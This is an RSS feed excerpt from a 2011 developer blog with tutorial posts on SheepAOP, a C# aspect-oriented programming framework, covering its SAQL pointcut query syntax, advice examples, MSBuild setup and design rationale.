<p>You can apply And and Or operations on literal-expressions, criteria, and the mix of them both. You use &#8216;&amp;&#8217; and &#8216;|&#8217; operators, or alternatively &#8216;&amp;&amp;&#8217; and &#8216;||&#8217;, which make no difference whatsoever apart from to satisfy your geeky obsession.<br />
We have used And and Or quite a bit in our exhaustive list of examples above. But another example doesn&#8217;t hurt. We&#8217;ll mix a combination of literal-expression and criteria:</p>
<p><pre class="brush: csharp;">
[SelectType(&quot;'System.Collections.ArrayList' | 'System.Array' | (ImplementsType: 'System.Collections.IEnumerable' &amp; !Abstract &amp; Namespace:'Sheep')&quot;)]
public void MyPointcut(){}
</pre></p>
<h1>Negation</h1>
<p>The operator you&#8217;re looking for here is &#8216;!&#8217;. Examples:</p>
<p><pre class="brush: csharp;">
[SelectTypes(&quot;!Abstract&quot;)] // Self explanatory
[SelectTypes(&quot;!ImplementsType:'System.Collections.IEnumerable'&quot;)] // Does not implement IEnumerable
[SelectTypes(&quot;ImplementsType:!'System.Collections.IEnumerable'&quot;)] // Implements any interface that is not IEnumerable
</pre></p>
<h1>Reference</h1>
<p>A pointcut can be built out of other pointcuts. You can reference another pointcut using its name by using an operator similar to Razor&#8217;s: @pointcutName. For example:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;Public &amp; Name:('Get*'| 'List*') &amp; InType:@Repositories&quot;)]
public void RepositoryQueriesPointcut(){}

[SelectMethods(&quot;Public &amp; Name:('Update*') &amp; InType:@Repositories&quot;)]
public void RepositoryUpdatesPointcut(){}

[SelectTypes(&quot;ImplementsType:'Sheep.Data.IRepository`1'&quot;)]
[SelectTypes(&quot;InheritsType:'Sheep.Data.DataService'&quot;)]
public void Repositories(){}
</pre></p>
<h1>Array</h1>
<p>Certain criteria requires multiple values, such as the Args criteria of Method Pointcut. You define array by using a &#8216;,&#8217; operator. For instance:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;Name: 'IndexOf' &amp; Args: 'System.Char', 'System.Int32'&quot;)] //You can also give it a bracket if it makes you feel happier inside
</pre></p>
<h1>Group</h1>
<p>Nothing special, just grouping stuff together using parentheses operators to give precedence to a certain clause within an And/Or, Negation or Criteria statement. See below for the default order of precedence. Before that</p>
<p><pre class="brush: csharp;">
[SelectMethods(
        @&quot;Name: ('Count*'|'*Length')
        &amp; InType:(!Abstract &amp; Implements:(Name:'*Service' &amp; Namespace:'Sheep.Domain'))
        &amp; ReturnType: ('System.Int32' | 'System.Decimal')&quot;)]
public void CountMethods(){}
</pre></p>
<h1>Order of Precedence</h1>
<p>The order of precedence in SAQL operators follows the standard precedence in common programming languages. For completeness sake, the order is as follows, from the highest precedence to the lowest:</p>
<ol>
<li>&#8216;literal value&#8217;</li>
<li>@pointcutRef</li>
<li>(parentheses)</li>
<li>criteria: argument</li>
<li>!negation</li>
<li>array, array, array</li>
<li>and &amp; or |</li>
</ol>
<h1>Summary</h1>
<p>This post has documented the basic mechanic of SheepAop pointcut model and various SAQL syntax and criteria, which hopefully will come in handy as a reference manual to help you in writing your first SAQL queries. I plan to make a standalone <em>SAQL Query-Analyzer</em> tool that will allow you to instantly type in any SAQL query and execute it to immediately view the resulting join-points it picks out from your target assemblies. That would be a fabulous learning ground to try out various SAQL syntax and check the results immediately.</p>
<p>The next post will discuss about the practical use of SheepAop Aspects Lifecycle, where I hope we&#8217;ll finally get a chance to explore some practical examples on aspect-oriented-programming, using Aspect Lifecycle feature in particular.</p>
<hr />
<p>*) Not supported yet in the current release version of SheepAop</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/1040/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/1040/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/1040/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=1040&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>SheepAOP Part 1 &#8211; Getting Started</title>
		<link>http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/</link>
		<comments>http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/#comments</comments>
		<pubDate>Sun, 08 May 2011 10:07:54 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">https://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/</guid>
		<description><![CDATA[SheepAOP released its first preview yesterday. It’s by no mean anywhere near complete, but I just wanted to put it out there so people could start playing with it, and try out whatever basic functionality there is. Throughout this blog post series, I will be exploring various bits and pieces of those functionalities. This post [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=996&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a>SheepAOP</a> released its first preview yesterday. It’s by no mean anywhere near complete, but I just wanted to put it out there so people could start playing with it, and try out whatever basic functionality there is. Throughout this blog post series, I will be exploring various bits and pieces of those functionalities.</p>
<p><em>This post is based on the current build of SheepAOP<del> <a title="Preview Release 1" href="http://sheepaop.codeplex.com/releases/view/65776" target="_blank">Preview-Release 1</a></del></em><em><del></del> <strong><a title="Preview Release 1.1" href="http://sheepaop.codeplex.com/releases/view/65923" target="_blank">Preview Release 1.1</a></strong><br />
</em></p>
<h1>This Series</h1>
<p>This is what I currently have in mind about things that I plan to cover in the next several posts:</p>
<ol>
<li><strong>Getting Started with SheepAOP</strong></li>
<li><a title="Part 2" href="http://hendryluk.wordpress.com/2011/05/09/sheepaop-part-2-pointcut-and-saql-basics/">Pointcuts and SAQL Basics</a></li>
<li><a href="http://hendryluk.wordpress.com/2011/05/17/part-3-aspect-lifecycles-the-narrative/">Aspects Lifecycles &amp; Instantiations</a></li>
<li><a title="SheepAOP Part 4: Integrating with IoC containers" href="http://hendryluk.wordpress.com/2011/05/31/sheepaop-part-4-integrating-with-ioc-containers/">Integrating with IoC containers</a></li>
<li><a title="SheepAop Part 5: Aspects Inheritance And Polymorphism" href="http://hendryluk.wordpress.com/2011/06/06/aspects-inheritance-polymorphism/">Aspects Inheritance &amp; Polymorphism</a></li>
<li>Attributive Aspects (ala PostSharp)</li>
<li>Unit-testing your aspects</li>
<li>Extending SheepAop</li>
</ol>
<p>I’m going to skip the whole boring introduction speech on Aspect Orientation, and will assume you have at least some basic prior knowledge of AOP concepts and technologies. If you’re not familiar with AOP, there are countless articles around AspectJ in the information-superhighway that is the Internet, which I highly recommend as a fantastic resource to learn about the concept of AOP. Now let’s get started on SheepAOP.</p>
<h1>Your First Aspect</h1>
<p>In SheepAOP, an aspect is just a normal POCO class that you decorate with Aspect attribute. For example:</p>
<p><pre class="brush: csharp;">
[Aspect]
public class TransactionAspect
{
}
</pre></p>
<h1>Idioms</h1>
<p>SheepAOP uses the same formal AOP idioms as it was coined over a decade ago, and popularized by the de-facto AOP framework of all time: AspectJ. The critical element in this AOP design is the <em>join-point</em> model.</p>
<p>A <em>join-point </em>is a well-defined point in the program flow. There are many different types of them, encompassing the actions of calling a method, instantiating a class, setting/getting a property, accessing/assigning a field, etc. On most other AOP frameworks for .net out there, such as PostSharp, you typically target these join-points by placing marker attributes around these join-points (e.g. methods/properties/fields/classes), so the framework will pick them up and weave with croscutting behaviors.</p>
<p>SheepAOP, in contrast, uses the well-known AOP mechanic to target your join-points. This mechanic is formally known as <em>pointcut</em>.</p>
<h1>Pointcuts</h1>
<p>Pointcut is an aspect-oriented-programming mechanic acting as a query-expression to pick out certain join-points in your program flow.</p>
<h2>Simple Pointcut</h2>
<p>The following is a SheepAop example to pick out each join-point that is an execution of a method that has the signature <span style="color:#c0504d;font-family:Courier New;">void MyNamespace.MyService.GetCustomer(int)</span>:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;'void MyNamespace.MyService::GetCustomer(System.Int32)'&quot;]
public void MyPointcut(){}
</pre></p>
<p>The language you use to define pointcuts in SheepAOP is called SAQL (SheepAop Query Language), which will be covered in depth in the next post of the series.</p>
<h2>More Complex Criteria</h2>
<p>You can define vastly expressive pointcut queries using complex conditions. For example, the following pointcut will pick out &#8220;a<em>ll public ‘GetXxx’ and ‘ListXxx’ methods within all classes that implement IRepository&lt;T&gt;</em>&#8220;.</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;Public &amp; Name:('Get*'| 'List*') &amp; InType:Implements:'Sheep.Data.IRepository`1'&quot;)]
public void RepositoryQueriesPointcut(){}
</pre></p>
<p>That was a quick glimpse of SAQL that provides you an immensely rich pointcut model for expressing join-point queries that AspectJ can&#8217;t.</p>
<h2>Pointcut Composition</h2>
<p>A SheepAOP pointcut can contain a group of multiple query-expressions. It’s done by simply defining multiple Select Attributes, for example:</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;Public &amp; Name:('Get*'| 'List*') &amp; InType:Implements:'Sheep.Data.IRepository`1'&quot;)]
[SelectPropertyGet(&quot;Public &amp; InType:Implements:'Sheep.Data.IRepository`1&quot;)]
public void RepositoryQueriesPointcut(){}
</pre></p>
<p><del><em>Note: Pointcut composition is not available yet in the current preview-release of SheepAop. Very simple to implement, but it’s a low priority feature.</em></del><em> (Now supported)<br />
</em></p>
<h2>Modularizing Pointcuts</h2>
<p>A pointcut can be built out of other pointcuts, usually for modularity and reusability reasons. The SheepAop syntax to reference to another pointcut will look familiar to Razor users:  <em>@pointcutName</em>.<br />
As an example, we will refactor the previous example, and additionally, we&#8217;ll also expand the pointcut to also pick out &#8220;<em>all implementations of IDataService&lt;T&gt;&#8221;</em> (in addition to IRepository&lt;T&gt;). And while we’re there, why not also add another pointcut to pick out all Update methods too.</p>
<p><pre class="brush: csharp;">
[SelectMethods(&quot;Public &amp; Name:('Get*'| 'List*') &amp; InType:@Repositories&quot;)]
[SelectPropertyGet(&quot;Public &amp; InType:Implements:@Repositories&quot;)]
public void RepositoryQueriesPointcut(){}

[SelectMethods(&quot;Public &amp; Name:('Update*') &amp; InType:@Repositories&quot;)]
public void RepositoryUpdatesPointcut(){}

[SelectTypes(&quot;Implements:'Sheep.Data.IRepository`1'&quot;)]
[SelectTypes(&quot;Implements:'Sheep.Data.IDataService`1'&quot;)]
public void Repositories(){}
</pre></p>
<p><em>(Tips: The “Repositories” pointcut above can actually be written more succinctly as follows:)<br />
</em></p>
<p><pre class="brush: csharp;">
[SelectTypes(&quot;Implements:('Sheep.Data.IRepository`1' | 'Sheep.Data.IDataService`1')&quot;)]
public void Repositories(){}
</pre></p>
<h1>Advice</h1>
<p>So pointcuts pick out join-points, but they don’t do anything apart from picking out join-points. To actually implement crosscutting behavior, we use advice. Advice brings together a pointcut (to pick out join-points) and a body of code (to run at each of those join-points).</p>
<p>SheepAOP has several different kinds of advice (and still growing), but the most common one you&#8217;ll often find yourself using is the <em>Around </em>advice, which is an advice that runs as a join-point is reached, and has explicit control over whether the program proceeds with the join point execution. For example, let’s put an advice to log around our Queries and Updates pointcuts in our previous example.</p>
<p><pre class="brush: csharp;">
[Around(&quot;RepositoryQueriesPointcut&quot;, &quot;RepositoryUpdatesPointcut&quot;)]
public object LogQueriesAndUpdates(MethodJoinPoints jp)
{
   Console.WriteLine(&quot;Entering method {0} on object {1} with args {2}&quot;,
   jp.Method, jp.This, jp.Args);
   try
   {
      object result = jp.Execute();
      Console.WriteLine(&quot;Exits normally with return-value {0}&quot;, result);
      return result;
   }
   catch(Exception e)
   {
      Console.Writeln(&quot;Exits with exception: {0}&quot;, e);
      throw;
   }
}
</pre></p>
<p>Joinpoint.Execute() is a callback to your original join-point execution. Calling this method will transfer your advice to proceed with the original execution of your join-point.<br />
But it doesn&#8217;t have to stay <em>exactly</em> original. You can alter the elements of this callback, such as changing the method arguments, or even changing the target instance of the method itself (i.e. the &#8216;this&#8217; of the method), as shown in the following example:</p>
<p><pre class="brush: csharp;">
[Around(&quot;MyPointcut&quot;)]
public object MyAdvice(MethodJoinPoints jp)
{
   jp.Args[0] = &quot;My Replaced Value&quot;; // Replacing 1st argument
   jp.Args[1] = 10*(int)jp.Args[1]; // Multiplying 2nd argument by 10
   jp.This = _anotherRepositoryInstance; // Redirecting the method call to another instance

   return jp.Execute(); // Executing the join-points using altered arguments and instance
}
</pre></p>
<h2>Beyond Logging</h2>
<p>Within an Around advice, you can do more than intercepting calls. You can alter completely the whole flow of the execution. For instance, you can quite easily make all your repository-query methods to only return a lazy-execution proxies, and therefore will defer your actual join-points execution only when the proxy gets triggered. (I.e., similar to <em>Future-Query</em> in NHibernate 3.0).</p>
<p><pre class="brush: csharp;">
[Around(&quot;RepositoryQueriesPointcut&quot;)]
public object DeferQueries(MethodJoinPoints jp)
{
   return ProxyGenerator.CreateProxy(
   baseType: jp.Method.ReturnType,
   initTarget: ()=&gt; jp.Execute());
}
</pre></p>
<p>Now all your query methods within all your repositories will return a proxy of their return-values. For instance, in the following example..</p>
<p><pre class="brush: csharp;">
var customer = customerRepository.GetById(id);
// some other code doing some other thing
// eventually, it executes customer.FirstName
txtFirstName.Text = customer.FirstName;
</pre></p>
<p>&#8230; the repository method on #1 will NOT actually execute, not until later on when we trigger the property (FirstName) of the customer-proxy object on line #4, which will then execute your <em>actual</em> customerRepository.GetById() method and retrieve your actual customer object to fulfill the proxy.</p>
<p><em>Note: Why do we need this if we already have NHibernate&#8217;s future-query? Well, in cases where you&#8217;re not using NHibernate, or even an RDBMS at all. For instance: web-service, remote calls, I/O read, or costly calculations: anything that you want to avoid executing until when it&#8217;s really needed.</em><br />
<em>SheepAop offers an elegant solution to defer (as well as to cache) these costly executions, without adding unnecessary crosscutting noise to your actual program code, even within static methods)</em></p>
<h1>Putting It All Together</h1>
<p>Just to recap our logging-aspect example, the following is the complete code for our aspect.</p>
<p><pre class="brush: csharp;">
[Aspect]
public class LoggingAspect
{
   [SelectMethods(&quot;Public &amp; Name:('Get*'| 'List*') &amp; InType:@Repositories&quot;)]
   [SelectPropertyGet(&quot;Public &amp; InType:Implements:@Repositories&quot;)]
   public void RepositoryQueriesPointcut(){}

   [SelectMethods(&quot;Public &amp; Name:('Update*') &amp; InType:@Repositories&quot;)]
   public void RepositoryUpdatesPointcut(){}

   [SelectTypes(&quot;Implements:'Sheep.Data.IRepository`1'&quot;)]
   [SelectTypes(&quot;Implements:'Sheep.Data.IDataService`1'&quot;)]
   public void Repositories(){}

   [Around(&quot;RepositoryQueriesPointcut&quot;, &quot;RepositoryUpdatesPointcut&quot;)]
   public object LogQueriesAndUpdates(MethodJoinPoints jp)
   {
      Console.WriteLine(&quot;Entering method {0} on object {1} with args {2}&quot;,
      jp.Method, jp.This, jp.Args);
      try
      {
         object result = jp.Execute();
         Console.WriteLine(&quot;Exits normally with return-value {0}&quot;, result);
         return result;
      }
      catch(Exception e)
      {
         Console.Writeln(&quot;Exits with exception: {0}&quot;, e);
         throw;
      }
   }
}
</pre></p>
<h1>Setting Up</h1>
<p>To enable SheepAOP compiler to weave your code automatically during compilation time, you will simply need to hook a post-compilation task within your .csproj file. If download SheepAOP into your project using NuGet (coming soon), everything will be set up automatically for you. There’s no additional step required.</p>
<p>However, if you’re to configure your SheepAOP manually (which is the case with the current preview-release), you need to perform the following steps:</p>
<ol>
<li>Download SheepAOP binaries. This post is based on SheepAop Preview v0.1.1, downloadable at <a href="http://sheepaop.codeplex.com/releases/view/65923" target="_blank">http://sheepaop.codeplex.com/releases/view/65923</a>.</li>
<li>Copy all the binary files into a local folder. I recommend to check them in as part of your project’s version-control system.</li>
<li>Right-click on your project, then select ‘Unload Project’.<br />
<a href="http://hendryluk.files.wordpress.com/2011/05/image.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border-color:#000000;border-style:none;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb.png?w=241&#038;h=336" alt="image" width="241" height="336" border="0" /></a></li>
<li>Right-click again on your (currently-unloaded) project and select ‘Edit xxx.csProj’.<br />
<a href="http://hendryluk.files.wordpress.com/2011/05/image1.png"><img style="background-image:none;padding-left:0;padding-right:0;display:inline;padding-top:0;border-color:#000000;border-style:none;border-width:0;margin:0;" title="image" src="http://hendryluk.files.wordpress.com/2011/05/image_thumb1.png?w=244&#038;h=80" alt="image" width="244" height="80" border="0" /></a></li>
<li>Within your .csproj file, locate this line: “<span style="color:#993300;">&lt;Import Project=&#8221;$(MSBuildToolsPath)\Microsoft.CSharp.targets&#8221; /&gt;</span>”. Right underneath, add the following lines:<pre class="brush: xml;">
&lt;PropertyGroup&gt;
   &lt;SheepAopLocation&gt;$(MSBuildProjectDirectory)\Libs&lt;/SheepAopLocation&gt;
&lt;/PropertyGroup&gt;
&lt;UsingTask TaskName=&quot;PostCompileWeaveTask&quot; AssemblyFile=&quot;$(SheepAopLocation)\SheepAop.Tasks.dll&quot; /&gt;
&lt;Target Name=&quot;AfterBuild&quot;&gt;
   &lt;PostCompileWeaveTask TargetFile=&quot;$(MSBuildProjectDirectory)\$(OutputPath)$(MSBuildProjectName).exe&quot; SheepAopLocation=&quot;$(SheepAopLocation)&quot; /&gt;
&lt;/Target&gt;
</pre>
<p>Change the SheepAopLocation property accordingly depending on where you place your SheepAop binaries (on step#2). In this example, my SheepAop binaries is under Libs folder within my project.</li>
<li>Now right-click your project and select ‘Reload Project’. SheepAop is now hooked to your project. Now every time you build your project, SheepAop will automatically execute a post-compilation task to weave your aspects into your assemblies.</li>
</ol>
<h1>Summary</h1>
<p>We have touched some of the basic features of SheepAOP. We have explored some standard AOP mechanics such as Aspects, Pointcuts, Join-Points, and Advices, and how they work in SheepAOP. We have built our first simple example of a SheepAop aspect, and finally hook it with the post-compilation task of your project. In the next article, we will explore more about the basics of SAQL syntax, and various types of pointcuts that SheepAOP supports.</p>
<br /> Tagged: <a href='http://hendryluk.wordpress.com/tag/sheepaspect/'>SheepAspect</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/996/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/996/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/996/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=996&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2011/05/08/sheepaop-part-1-getting-started/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2011/05/image_thumb1.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>SAQL and SheepAOP Remake</title>
		<link>http://hendryluk.wordpress.com/2011/04/24/saql-and-sheepaop-remake/</link>
		<comments>http://hendryluk.wordpress.com/2011/04/24/saql-and-sheepaop-remake/#comments</comments>
		<pubDate>Sun, 24 Apr 2011 15:53:49 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Aspect Oriented Programming]]></category>
		<category><![CDATA[SheepAspect]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=889</guid>
		<description><![CDATA[SAQL? Say hello to SheepAOP-Query-Language (hereafter referred to as &#8216;SAQL&#8217;), a new addition to SheepAOP, serving as the main language to query against your source-code for your SheepAOP pointcut definitions. I know I said external-DSL would NOT be in my priority list, but the latest SheepAOP enhancement I was working on (outlined later) has made [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=889&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h1>SAQL?</h1>
<p>Say hello to<strong> SheepAOP-Query-Language</strong> (hereafter referred to as &#8216;SAQL&#8217;), a new addition to <a href="http://sheepaop.codeplex.com/" target="_blank">SheepAOP</a>, serving as the main language to query against your source-code for your SheepAOP pointcut definitions.</p>
<p>I know <a href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">I said</a> external-DSL would NOT be in my priority list, but the latest SheepAOP enhancement I was working on (outlined later) has made it strongly imperative that an external DSL needed to be brought onto the game, right now.</p>
<p>Initially, I took the path which follows the current trend in .Net libraries designs that have been increasingly moving away from external DSL in favor of lambda Fluent APIs. To name a few: NHibernate&#8217;s HQL taken over by NH2Linq, HBM by Fluent-NHibernate, Binsor by fluent-configuration, and I myself have also built lambda API in lieu of RhinoETL&#8217;s boo scripts. Lambda seems to be the new black. Therefore, at the beginning of SheepAOP project, it was very clear to me that Fluent lambda was the way to go about this whole AOP thing. With lambda API, I would get the intellisense and refactoring support from Visual-Studio, and I actively avoided the tedious effort of building an external DSL from scratch.</p>
<p>Over the weeks, I have been noticing few <strong>minor</strong> issues with lambda API that have been irritating me, albeit not to a point that bothers me enough to do anything about it.</p>
<ol>
<li>Safety. SheepAOP weaving is done during compile-time whenever you build your project. I have not been particularly happy about the fact that SheepAOP compiler needed to execute your actual application (i.e. your configuration routines) during compilation, as opposed to reading only its metadata. If you&#8217;re not careful, you might accidentally (or deliberately) execute certain unintended code-blocks (from within your config routine) during compile time, which might be harmful to anyone <em>merely</em> opening the project in their Visual-Studios. It makes it way too easy to abuse.</li>
<li>File lock. Since your application are executed (by SheepAOP) during VisualStudio compilation, they would get loaded into your VS process, and will never get release (There&#8217;s no such thing in the .Net framework as &#8220;unloading&#8221; an assembly). It also means it will lock your output file, something you don&#8217;t want on an IDE. Spawning separate AppDomain normally solves this, but that doesn&#8217;t do the trick on VS custom-tasks for whatever reason. My current solution is to spawn a separate (console) process. Either way, lambda configuration makes communications difficult since they are not transmittable between AppDomains/processes. A plain DSL text-script, on the other hand, <em>is</em>.  Hence giving me a lot more flexibility in my approaches.</li>
<li>Verboseness. Lambda API introduces too much noise for the signal. We will see this in comparison shortly.</li>
</ol>
<p>Those are 3 minor drawbacks that I could happily live with, rather than spending my effort on an external DSL that could be spent elsewhere. Plus I was reluctant to give up IDE intellisense with fluent API.<br />
But as I worked on the next enhancements (covered below), it quickly became obvious that fluent API no longer finds its place in the system, and I came to a tough decision to ditch the whole thing, and started working on a brand new querying language.</p>
<h1>SheepAOP Enhancements</h1>
<p>After exploring several common patterns and use-cases frequently seen on other more mature AOP tools like AspectJ, and then reviewed the current (previous) implementation of SheepAOP, I determined that the old SheepAOP design wasn&#8217;t up for the job. A total rework had to be done. The 3 major features that inspired the rework, which have now been delivered on the new version of SheepAOP, are:</p>
<ol>
<li><strong>Aspect Lifecycle</strong>. This is a very important feature that single-handedly makes AOP useful in far broader sets of real-world problems. So far I have only seen this in AspectJ. I will post more elaborately on this one particular topic, but in essence, it allows you to determine the lifespan of your aspects, so you can maintain <em>contextual</em> states.<br />
For example, imagine you just defined a new client-facing method (say: MethodA) for your POS system, exposing a transactionTime as a parameter that the client (human or another app) can specify, so that all sales-order objects constructed at any point within the scope of that method will be initialized with this transaction-date. Normally this means that you will have to pass this date from MethodA all the way through all methods beneath its flow, to be used in every sales-order instantiation it reaches.<br />
With <em>PerFlow</em> lifecycle (<strong>new!</strong>), you can define that your aspect&#8217;s life will start when the MethodA starts. It will then begin intercepting all sales-order instantiations within the flow, and assign them with the transaction-date (captured from before). When MethodA completes, this aspect will also be disposed out of the way, which also ends its intercepting business. With a pseudo-code, your aspect looks like:<br />
<pre class="brush: csharp;">
[Lifecycle (PerFlow of &quot;MethodA_called&quot;)]
aspect TransactionDateAspect:
{
   // Normal instance field, stays here within the life of this aspect object
   private Date _transactionDate;

   pointcut MethodA_called;  // The &quot;life trigger&quot; for this aspect, as declared on the top
   pointcut SalesOrder_instantiation;

   [Before(MethodA_called)]
   void OnMethodA_called(Date transactionDate)
   {
       // Aspect initiates here. Let's keep the transaction-date within the context
       this._transactionDate = transactionDate;
   }

   [After(SalesOrder_instantiation)]
   void  SalesOrder_instantiation (SalesOrder order)
   {
      // This advice is only active within the life of this aspect
      order.TransactionDate = this._transactionDate;
   }
}
</pre></p>
<p>This ability enables you to compose an aspect-oriented workflow. There are many other lifecycles, for example: <em>PerTarget</em> aspects allow you to cache method-calls to the same object instance. <em>PerThis </em>allows you to keep all dirty states within that instance. <em>Singleton</em> and <em>Transient</em> are the other options.<br />
The reason this could not be done on the previous SheepAOP design was because all advice-methods had to be static since they merely acted as code templates to be copied to the injected targets (which also causes the problem in point#3).</li>
<li><strong>Inheritance, Polymorphism, and Abstract Aspects</strong>. Now that we have aspects and pointcuts as normal living instances (as opposed to a bunch of static instruction templates), you can use inheritance and polymorphism around your aspects for reusability and extensibility. For instance, you can define the following abstract aspects (this one is an actual SheepAOP code):<br />
<pre class="brush: csharp;">
public abstract class LoggingAspectBase
{
   protected abstract string Title();

   protected abstract void LoggablePointcut(); // Override your pointcut here!

   [Around(&quot;LoggablePointcut&quot;)]
   public object LogExecution(JoinPoint jp)
   {
      try
      {
         _logger.Log(&quot;Entering {0} with [{1}]&quot; + Title(), jp.Args);
         var result = jp.Proceed();
         _logger.Log(&quot;Returning {1} from {0} &quot; + Title(), result);
         return result;
      }
      catch(Exception e)
      {
         _logger.Log(&quot;Error on {0}: {1}&quot;, Title(), e);
      }
   }
}
</pre></p>
<p>And you can reuse this base-aspect class by simply implementing it.</p>
<p><pre class="brush: csharp;">
public class OrderSubmissionLogging: LoggingAspectBase
{
   protected override string Title()
   { return &quot;Order Submission&quot;; }

   // Overriding your pointcut
   [SelectMethods(&quot;Name:'SubmitOrder' &amp; InType:(Namespace:'Sheep.Sales.*')&quot;)]
   protected override void LoggablePointcut(){}
}
</pre></li>
<li><strong>No method-copier</strong>, means <strong>better debugger</strong>. As explained in the <a href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">previous posts</a>, the old SheepAOP used your advice-methods as a code-template, in a literal sense, copying the body line by line to surround the target code-blocks. (Think T4). Because your advice-methods were only templates and never got executed, it naturally means your debugger would never arrive there. I <a href="http://hendryluk.wordpress.com/2011/04/16/announcing-sheepaop-part-2/" target="_blank">suggested </a>event-based advices to &#8220;solve&#8221; that, which I have to admit, a bit clunky, unpredictable, and error-prone.<br />
